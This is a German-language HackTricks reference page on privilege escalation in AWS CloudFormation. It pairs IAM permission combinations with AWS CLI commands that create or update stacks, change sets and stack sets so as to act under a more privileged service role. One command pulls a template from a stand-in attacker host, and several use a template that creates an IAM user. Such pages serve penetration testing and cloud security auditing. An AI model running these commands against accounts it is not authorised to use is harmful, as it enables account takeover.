AWS - Cloudformation Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

cloudformation

Für weitere Informationen zu Cloudformation siehe:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Ein Angreifer mit diesen Berechtigungen kann Privilegien eskalieren, indem er einen CloudFormation-Stack mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um Aktionen unter den Berechtigungen einer bestimmten Rolle auszuführen:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Auf der folgenden Seite finden Sie ein Ausbeutungsbeispiel mit der zusätzlichen Berechtigung cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potenzielle Auswirkungen: Privilege Escalation zum angegebenen CloudFormation-Service-Rolle.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In diesem Fall können Sie einen bestehenden CloudFormation-Stack missbrauchen, um ihn zu aktualisieren und Berechtigungen zu eskalieren, wie im vorherigen Szenario:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Die Berechtigung cloudformation:SetStackPolicy kann verwendet werden, um sich selbst die Berechtigung UpdateStack über einen Stack zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privilege Escalation zum angegebenen CloudFormation-Service-Rolle.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Wenn Sie diese Berechtigung haben, aber kein iam:PassRole, können Sie immer noch die verwendeten Stacks aktualisieren und die IAM-Rollen missbrauchen, die sie bereits angehängt haben. Überprüfen Sie den vorherigen Abschnitt auf ein Beispiel für den Exploit (geben Sie einfach keine Rolle in der Aktualisierung an).

Die Berechtigung cloudformation:SetStackPolicy kann verwendet werden, um sich selbst die Berechtigung UpdateStack über einen Stack zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privilege Escalation zur bereits angehängten CloudFormation-Service-Rolle.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Ein Angreifer mit Berechtigungen zum Weitergeben einer Rolle und zum Erstellen & Ausführen eines ChangeSets kann einen neuen CloudFormation-Stack erstellen/aktualisieren und die CloudFormation-Service-Rollen missbrauchen, genauso wie bei CreateStack oder UpdateStack.

Der folgende Exploit ist eine Variante des CreateStack-Exploits, bei dem die ChangeSet-Berechtigungen verwendet werden, um einen Stack zu erstellen.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Die Berechtigung cloudformation:SetStackPolicy kann verwendet werden, um sich ChangeSet-Berechtigungen zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privilege Escalation zu CloudFormation-Service-Rollen.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Dies ist ähnlich wie die vorherige Methode, ohne IAM-Rollen zu übergeben, sodass Sie einfach bereits angehängte Rollen missbrauchen können, ändern Sie einfach den Parameter:

--change-set-type UPDATE

Potenzielle Auswirkungen: Privilege Escalation zum CloudFormation-Dienstrollen, die bereits angehängt sind.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Ein Angreifer könnte diese Berechtigungen missbrauchen, um StackSets zu erstellen/aktualisieren und beliebige CloudFormation-Rollen zu missbrauchen.

Potenzielle Auswirkungen: Privilege Escalation zu CloudFormation-Dienstrollen.

cloudformation:UpdateStackSet

Ein Angreifer könnte diese Berechtigung ohne die PassRole-Berechtigung missbrauchen, um StackSets zu aktualisieren und die angehängten CloudFormation-Rollen zu missbrauchen.

Potenzielle Auswirkungen: Privilege Escalation zu den angehängten CloudFormation-Rollen.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated